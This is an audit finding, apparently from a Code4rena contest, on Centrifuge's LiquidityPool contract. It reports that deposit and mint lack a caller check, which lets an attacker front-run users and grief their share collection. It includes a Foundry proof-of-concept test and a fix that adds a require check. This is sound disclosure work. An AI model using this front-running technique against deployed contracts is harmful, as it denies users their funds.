Centrifuge - twicek's results

Lines of code

https://github.com/code-423n4/2023-09-centrifuge/blob/512e7a71ebd9ae76384f837204216f26380c9f91/src/LiquidityPool.sol#L139-L152

Vulnerability details

Vulnerability description

The deposit and mint functions are used to process a deposit and receive the corresponding shares after handleExecutedCollectInvest is called by Centrifuge. Contrary to redeem and withdraw that require the owner of the order to call the function (address of the orderbook mapping), deposit and mint do not have this restriction:

LiquidityPool.sol#L139-L152

/// @notice Collect shares for deposited assets after Centrifuge epoch execution.
    ///         maxDeposit is the max amount of shares that can be collected.
    function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
        shares = investmentManager.processDeposit(receiver, assets);
        emit Deposit(address(this), receiver, assets, shares);
    }


    /// @notice Collect shares for deposited assets after Centrifuge epoch execution.
    ///         maxMint is the max amount of shares that can be collected.
    function mint(uint256 shares, address receiver) public returns (uint256 assets) {
        // require(receiver == msg.sender, "LiquidityPool/not-authorized-to-mint");
        assets = investmentManager.processMint(receiver, shares);
        emit Deposit(address(this), receiver, assets, shares);
    }

The problem with this implementation is that an attacker can prevent users to get the full amount of tranche tokens in one transaction by frontrunning their call to deposit and mint. Let's say that a user wants to get his 1000 shares (tranche tokens). He calls mint with shares == 1000 but the attacker front-run the call with shares == 1, therefore the user's call will revert and the user will only get 1 share. Basically the faster way for the user to get all his shares would be by calling the function with half the remaining shares all the time because the attacker would need to front-run with half the shares plus one. This operation would take about 10 calls to mint for 999 shares and a residual amount would remain if additional calls aren't made.

Proof of concept

Add the following code to Deploy.t.sol and run forge test --match-test "InvestBug" -vvvvv.

address attacker;

function testDeployAndInvestBug(
        uint64 poolId,
        string memory tokenName,
        string memory tokenSymbol,
        bytes16 trancheId
    ) public {
        uint8 decimals = 6; // TODO: use fuzzed decimals
        uint128 price = uint128(2 * 10 ** investmentManager.PRICE_DECIMALS()); //TODO: fuzz price
        uint128 currencyId = 1;
        uint256 amount = 1000 * 10 ** erc20.decimals();
        uint64 validUntil = uint64(block.timestamp + 1000 days);
        address lPool_ = deployPoolAndTranche(poolId, trancheId, tokenName, tokenSymbol, decimals);
        LiquidityPool lPool = LiquidityPool(lPool_);

        deal(address(erc20), self, amount);

        vm.prank(address(gateway));
        poolManager.updateMember(poolId, trancheId, self, validUntil);

        blockedDepositMint(poolId, decimals, tokenName, tokenSymbol, trancheId, price, currencyId, amount, validUntil, lPool);
        amount = lPool.balanceOf(self);
    }

    function blockedDepositMint(
        uint64 poolId,
        uint8 decimals,
        string memory tokenName,
        string memory tokenSymbol,
        bytes16 trancheId,
        uint128 price,
        uint128 currencyId,
        uint256 amount,
        uint64 validUntil,
        LiquidityPool lPool
    ) public {
        erc20.approve(address(investmentManager), amount); // add allowance
        lPool.requestDeposit(amount, self);

        // ensure funds are locked in escrow
        assertEq(erc20.balanceOf(address(escrow)), amount);
        assertEq(erc20.balanceOf(self), 0);

        // trigger executed collectInvest
        uint128 _currencyId = poolManager.currencyAddressToId(address(erc20)); // retrieve currencyId

        uint128 trancheTokensPayout = _toUint128(
            uint128(amount).mulDiv(
                10 ** (investmentManager.PRICE_DECIMALS() - erc20.decimals() + lPool.decimals()),
                price,
                MathLib.Rounding.Down
            )
        );

        // Assume an epoch execution happens on cent chain
        // Assume a bot calls collectInvest for this user on cent chain

        vm.prank(address(gateway));
        investmentManager.handleExecutedCollectInvest(
            poolId, trancheId, self, _currencyId, uint128(amount), trancheTokensPayout
        );

        uint maxMint = lPool.maxMint(self);
        
        vm.startPrank(attacker);
        lPool.mint(1, self);
        vm.stopPrank();

        vm.startPrank(self);
        vm.expectRevert();
        lPool.mint(maxMint, self);
    }

Impact

Users can get griefed by an attacker that would forces them to call mint or deposit many times.

Tool used

Manual Review

Recommended Mitigation Steps

Consider requiring that receiver is msg.sender:

/// @notice Collect shares for deposited assets after Centrifuge epoch execution.
    ///         maxDeposit is the max amount of shares that can be collected.
    function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
+       require(receiver == msg.sender, "LiquidityPool/not-authorized-to-collect-shares");
        shares = investmentManager.processDeposit(receiver, assets);
        emit Deposit(address(this), receiver, assets, shares);
    }


    /// @notice Collect shares for deposited assets after Centrifuge epoch execution.
    ///         maxMint is the max amount of shares that can be collected.
    function mint(uint256 shares, address receiver) public returns (uint256 assets) {
+       require(receiver == msg.sender, "LiquidityPool/not-authorized-to-collect-shares");
-       // require(receiver == msg.sender, "LiquidityPool/not-authorized-to-mint");
        assets = investmentManager.processMint(receiver, shares);
        emit Deposit(address(this), receiver, assets, shares);
    }

Assessed type

Invalid Validation